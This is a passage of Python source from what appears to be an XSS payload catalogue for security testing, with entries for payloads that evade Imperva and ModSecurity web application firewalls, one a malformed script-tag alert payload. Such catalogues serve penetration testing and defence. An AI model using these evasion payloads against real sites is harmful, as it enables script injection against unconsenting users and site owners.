        reliability=Reliability.MEDIUM,
        encoding=Encoding.HEX,
        waf_evasion=True,
        bypasses=["imperva"],
    ),
    "patt-waf-modsecurity-1": PayloadEntry(
        payload="<svg><script>a]lert(1)</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ModSecurity bypass with malformed script",
        tags=["patt", "waf", "modsecurity", "bypass"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        waf_evasion=True,
        bypasses=["modsecurity"],
    ),
}
